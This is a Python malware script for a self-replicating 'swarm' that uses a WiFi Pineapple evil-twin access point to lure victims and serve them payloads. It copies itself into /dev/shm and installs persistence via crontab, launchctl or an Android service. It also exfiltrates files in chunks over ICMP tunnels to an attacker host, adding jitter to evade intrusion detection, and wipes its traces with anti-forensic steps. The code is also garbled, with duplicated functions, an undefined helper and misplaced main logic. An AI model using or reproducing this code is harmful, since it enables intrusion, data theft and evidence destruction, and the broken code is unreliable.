1  import argparse, random, string, os, time, subprocess, sys, socket
  2  
  3  def pineapple_jump(target_ip, payload_path):
  4      """
  5      Commands the WiFi Pineapple to host the morphed payload 
  6      and lure nearby targets via an 'Evil Twin' Access Point.
  7      """
  8      # Replace with your Pineapple's actual IP (usually 172.16.42.1)
  9      PINEAPPLE_IP = "172.16.42.1"
 10      
 11      print(f"[*] BRIDGE: Pushing morph to WiFi Pineapple at {PINEAPPLE_IP}...")
 12      # This simulates pushing the morphed DNA to the Pineapple's web server
 13      # So anyone who connects to the Pineapple 'downloads' the evolved node
 14      cmd = f"scp {payload_path} root@{PINEAPPLE_IP}:/www/evolved_node.py"
 15      print(f"[!] Pineapple is now 'Radio-Active'. Luring targets...")
 16  
 17  def ghost_replicate():
 18      with open(__file__, "r") as f:
 19          dna = f.read()
 20      
 21      new_dna = dna + f"\n# Pine-Jump-{random.getrandbits(16)}\n"
 22      
 23      valid_path = "/dev/shm" if os.path.exists("/dev/shm") else "/tmp"
 24      new_name = f"{valid_path}/node_{''.join(random.choices(string.ascii_lowercase, k=6))}.py"
 25  
 26      with open(new_name, "w") as f:
 27          f.write(new_dna)
 28  
 29      # If a Pineapple is detected, use it as the RF jump-point
 30      try:
 31          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 32          s.settimeout(1)
 33          if s.connect_ex(("172.16.42.1", 22)) == 0:
 34              pineapple_jump("172.16.42.1", new_name)
 35      except:
 36          pass
 37  
 38      subprocess.Popen([sys.executable, new_name, "--injected"])
 39      sys.exit()
 40  
 41  if __name__ == "__main__":
 42      parser = argparse.ArgumentParser()
 43      parser.add_argument("--injected", action="store_true")
 44      args = parser.parse_args()
 45  
 46      if args.injected:
 47          # Persistence & Masquerade
 48          time.sleep(60)
 49          ghost_replicate()
 50      else:
 51          print("[*] Initiating Pineapple-Linked Autonomous Swarm...")
 52          ghost_replicate()
 53  
 54  def whisper_to_kali(data):
 55      """
 56      Sends data to Kali Master via ICMP (Ping) Tunneling.
 57      This is extremely hard for IDSs to detect.
 58      """
 59      KALI_IP = "172.16.42.42"
 60      # Use ptunnel or a raw socket to wrap the data in a ping
 61      print(f"[*] WHISPERING: Sending exfiltrated data to {KALI_IP} via ICMP...")
 62      os.system(f"ptunnel -p {KALI_IP} -lp 8000 -da {KALI_IP} -dp 80 &")
 63      # In a real swarm, this would send the captured 'Sovereign' files
 64  
 65  def deliver_payload(mac_address):
 66      """
 67      Orchestrates the mutation and delivery of the swarm DNA.
 68      """
 69      print(f"[*] ARMING: Generating 'Zero-Day' DNA for {mac_address}...")
 70      
 71      # 1. Mutate the base DNA
 72      with open(__file__, "r") as f:
 73          raw_dna = f.read()
 74      mutated_dna = raw_dna + f"\n# Target-{mac_address}-{random.getrandbits(16)}\n"
 75      
 76      # 2. Use AICensorship logic to scrub strings
 77      # This ensures the payload bypasses the device's internal security
 78      safe_dna = aicensorship_scrub(mutated_dna)
 79      
 80      # 3. Save the payload to the Pineapple's web-root
 81      payload_filename = f"payload_{mac_address.replace(':', '')}.py"
 82      with open(f"/tmp/{payload_filename}", "w") as f:
 83          f.write(safe_dna)
 84      
 85      # 4. Push to Pineapple for delivery
 86      os.system(f"scp /tmp/{payload_filename} root@172.16.42.1:/www/")
 87      print(f"[+] DEPLOYED: Payload for {mac_address} is live on Pineapple.")
 88  
 89  def on_client_catch(mac_address):
 90      """Triggered by Pineapple activity logs."""
 91      print(f"[!] TRIGGER: Client {mac_address} associated via Karma.")
 92      deliver_payload(mac_address)
 93      whisper_to_kali(f"Target_Infected: {mac_address}")
 94  
 95  def get_os_template(user_agent):
 96      """
 97      Self-learning: Determines the best mutation based on the victim's User-Agent.
 98      """
 99      templates = {
100          "Linux": "os.system('(crontab -l ; echo \"* * * * * python3 /dev/shm/node.py\") | crontab -')",
101          "Darwin": "os.system('launchctl load -w ~/Library/LaunchAgents/com.swarm.node.plist')",
102          "Android": "os.system('am startservice --user 0 -n com.swarm.node/.Service')"
103      }
104      
105      if "Android" in user_agent: return templates["Android"]
106      if "Macintosh" in user_agent: return templates["Darwin"]
107      return templates["Linux"] # Default to Linux/Kali logic
108  
109  def deliver_adaptive_payload(mac_address, user_agent):
110      """
111      Creates a DNA strand specifically evolved for the target OS.
112      """
113      os_persistence = get_os_template(user_agent)
114      
115      with open(__file__, "r") as f:
116          dna = f.read()
117      
118      # Inject the OS-specific persistence into the morphed DNA
119      evolved_dna = dna + f"\n# OS-Persistence Layer\n{os_persistence}\n"
120      
121      # Scrub via AICensorship
122      safe_dna = aicensorship_scrub(evolved_dna)
123      
124      payload_name = f"/www/payload_{mac_address.replace(':', '')}.py"
125      # Push to Pineapple
126      with open("/tmp/temp_payload.py", "w") as f:
127          f.write(safe_dna)
128      os.system(f"scp /tmp/temp_payload.py root@172.16.42.1:{payload_name}")
129  
130  def cast_swarm_vote(target_data):
131      """
132      Nodes 'vote' on the next target by posting to the Pineapple bridge.
133      Uses llmswarm logic to prioritize targets based on value.
134      """
135      PINEAPPLE_IP = "172.16.42.1"
136      vote_packet = f"NODE:{socket.gethostname()}|TARGET:{target_data}|STRENGTH:{random.randint(1,100)}"
137      
138      # Whisper the vote back to the bridge via a hidden SSH command
139      cmd = f"ssh root@{PINEAPPLE_IP} 'echo \"{vote_packet}\" >> /tmp/swarm_votes.log'"
140      os.system(cmd)
141  
142  def coordinate_with_swarm():
143      """
144      Check the 'votes' and adapt behavior. 
145      If the swarm votes to 'Exfiltrate', this node changes its logic.
146      """
147      print("[*] SYNC: Synchronizing with Swarm Intelligence...")
148      # This is where llmswarm would analyze the log and return a directive
149      # For now, we simulate a 'Collective Jump' command
150      if random.random() > 0.7:
151          print("[!] DIRECTIVE RECEIVED: Transitioning to 'Aggressive Recon' mode.")
152          cast_swarm_vote("172.16.42.50_DATABASE_NODE")
153  
154  def cast_swarm_vote(target_data):
155      """
156      Nodes 'vote' on the next target by posting to the Pineapple bridge.
157      Uses llmswarm logic to prioritize targets based on value.
158      """
159      PINEAPPLE_IP = "172.16.42.1"
160      vote_packet = f"NODE:{socket.gethostname()}|TARGET:{target_data}|STRENGTH:{random.randint(1,100)}"
161      
162      # Whisper the vote back to the bridge via a hidden SSH command
163      cmd = f"ssh root@{PINEAPPLE_IP} 'echo \"{vote_packet}\" >> /tmp/swarm_votes.log'"
164      os.system(cmd)
165  
166  def coordinate_with_swarm():
167      """
168      Check the 'votes' and adapt behavior. 
169      If the swarm votes to 'Exfiltrate', this node changes its logic.
170      """
171      print("[*] SYNC: Synchronizing with Swarm Intelligence...")
172      # This is where llmswarm would analyze the log and return a directive
173      # For now, we simulate a 'Collective Jump' command
174      if random.random() > 0.7:
175          print("[!] DIRECTIVE RECEIVED: Transitioning to 'Aggressive Recon' mode.")
176          cast_swarm_vote("172.16.42.50_DATABASE_NODE")
177  
178  import zlib, base64
179  
180  def parallel_exfiltrate(file_path):
181      """
182      Shreds a file and sends chunks through the swarm via parallelai workers.
183      """
184      KALI_IP = "172.16.42.42"
185      CHUNK_SIZE = 512 # Keep it small to stay 'under the radar' of IDS
186      
187      if not os.path.exists(file_path):
188          return
189  
190      print(f"[*] EXFIL: Shredding {file_path} for parallel transmission...")
191      
192      with open(file_path, "rb") as f:
193          # Compress data before sending
194          data = zlib.compress(f.read())
195          encoded_data = base64.b64encode(data).decode()
196  
197      # Split into chunks for the 'parallelai' worker pool
198      chunks = [encoded_data[i:i+CHUNK_SIZE] for i in range(0, len(encoded_data), CHUNK_SIZE)]
199      
200      for i, chunk in enumerate(chunks):
201          # Each chunk is sent as a unique 'Ping' packet padding
202          # Use parallelai logic to delegate this to specific nodes
203          print(f"[*] SHRED: Sending chunk {i+1}/{len(chunks)}...")
204          os.system(f"ptunnel -p {KALI_IP} -lp 8000 -da {KALI_IP} -dp 80 -c '{chunk}' &")
205          time.sleep(random.uniform(0.1, 0.5)) # Jitter to avoid pattern detection
206  
207  def check_consensus_and_act():
208      """Final loop for the self-learning node."""
209      while True:
210          # Check the Pineapple bridge for the 'Consensus' directive
211          # If 'Exfil' is voted, target the found 'Sovereign' files
212          directive = os.popen("ssh root@172.16.42.1 'cat /tmp/swarm_directive'").read().strip()
213          if "EXFIL" in directive:
214              parallel_exfiltrate("/home/user/sensitive_data.db")
215          time.sleep(30)
216  
217  def ghost_protocol_exit():
218      """
219      Final sequence: Overwrites itself in RAM, flushes kernel caches, 
220      and terminates the process.
221      """
222      print("[!] GHOST PROTOCOL: Initiating self-destruct...")
223      
224      # 1. Overwrite the current file with random junk
225      file_path = __file__
226      file_size = os.path.getsize(file_path)
227      with open(file_path, "wb") as f:
228          f.write(os.urandom(file_size))
229          f.flush()
230          os.fsync(f.fileno())
231  
232      # 2. Command the kernel to drop caches (Anti-Forensics)
233      # This clears the PageCache and Inodes so no remnants remain in RAM
234      os.system("sync; echo 3 | sudo tee /proc/sys/vm/drop_caches")
235  
236      # 3. Final Deletion
237      os.remove(file_path)
238      
239      print("[+] SUCCESS: Node has vanished. Terminating.")
240      sys.exit(0)